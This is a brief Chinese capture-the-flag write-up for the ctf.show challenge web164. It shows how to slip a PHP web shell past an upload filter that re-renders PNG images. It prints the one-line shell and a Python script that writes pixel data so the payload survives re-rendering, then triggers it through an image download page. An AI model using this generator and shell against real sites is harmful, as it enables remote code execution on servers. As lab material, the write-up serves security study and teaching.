web164笔记(png图片二次渲染绕过)
先右键查看源码,发现有个download.php?image=

猜测有可能是上传图片马,然后文件包含执行命令,我们先上传一个图片马
点击查看图片,跳转到图片页面,但发现执行不了,crtl+s把图片下载下来后,对比之前的图片发现马被弄没了


应该是经过了二次刷新,这里用之前收集的外国师傅的脚本来生成图片马
/*<?$_GET[0]($_POST[1]);?>*/
from PIL import Image # 定义颜色数据 p = [ 0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33 ] # 创建一个32x32的图像 img = Image.new('RGB', (32, 32)) # 获取图像的像素 pixels = img.load() # 设置像素颜色 for y in range(0, len(p), 3): r = p[y] g = p[y+1] b = p[y+2] # 设置像素位置 (x, y),其中 x 通过索引 / 3 来获取 x = round(y / 3) pixels[x, 0] = (r, g, b) # 保存图像 img.save('Flag.png')
使用方式:python 1.py 输出Flag.png
上传后点击查看图片 https://8549b63a-cae4-4970-8801-19bec077674e.challenge.ctf.show/download.php?image=76474e7895cd6fdb015c35986a41f1ac.png


https://8549b63a-cae4-4970-8801-19bec077674e.challenge.ctf.show/download.php?image=76474e7895cd6fdb015c35986a41f1ac.png

然后control+s保存图片,使用winHex打开查看

浙公网安备 33010602011771号